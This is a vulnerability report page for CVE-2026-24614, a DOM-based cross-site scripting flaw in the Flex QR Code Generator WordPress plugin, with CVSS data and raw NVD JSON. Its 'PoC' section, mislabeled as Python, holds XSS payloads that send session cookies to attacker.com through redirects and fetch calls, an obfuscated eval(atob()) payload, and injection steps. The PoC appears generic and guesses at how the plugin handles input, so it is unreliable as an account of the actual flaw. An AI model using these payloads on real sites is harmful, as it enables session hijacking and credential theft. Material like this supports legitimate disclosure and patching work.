Security Vulnerability Report
中文
CVE-2026-24614 CVSS 5.9 MEDIUM

CVE-2026-24614

Published: 2026-01-23 15:16:20
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Devsbrain Flex QR Code Generator flex-qr-code-generator allows DOM-Based XSS.This issue affects Flex QR Code Generator: from n/a through <= 1.2.10.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Flex QR Code Generator <= 1.2.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2026-24614 PoC: DOM-based XSS in Flex QR Code Generator --> <!-- Attack Vector: Inject malicious JavaScript via QR code text input --> <!-- Method 1: Via URL parameter (if plugin reflects user input) --> <script>alert('XSS - CVE-2026-24614');document.location='https://attacker.com/steal?cookie='+document.cookie</script> <!-- Method 2: Via plugin settings or shortcode content --> <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <!-- Method 3: Stored XSS via QR code data field --> <svg onload="eval(atob('YWxlcnQoJ1hTUycpOw=='))"> <!-- Exploitation Example (JavaScript): --> <script> // Malicious payload injection const maliciousPayload = '<img src=x onerror="fetch(`https://attacker.com/steal?data=${btoa(document.cookie)}`)">'; // If plugin uses user input in innerHTML without sanitization document.querySelector('.flex-qr-output').innerHTML = maliciousPayload; </script> <!-- Recommended PoC for verification: --> <!-- 1. Navigate to WordPress admin > Flex QR Code Generator settings --> <!-- 2. Enter payload in QR code text field --> <!-- 3. Save and view the generated QR code page --> <!-- 4. Check browser console for XSS alert or network request to attacker domain -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24614", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:20.287", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Devsbrain Flex QR Code Generator flex-qr-code-generator allows DOM-Based XSS.This issue affects Flex QR Code Generator: from n/a through <= 1.2.10."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en Devsbrain Flex QR Code Generator flex-qr-code-generator permite XSS basado en DOM. Este problema afecta a Flex QR Code Generator: desde n/a hasta &lt;= 1.2.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/flex-qr-code-generator/vulnerability/wordpress-flex-qr-code-generator-plugin-1-2-8-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}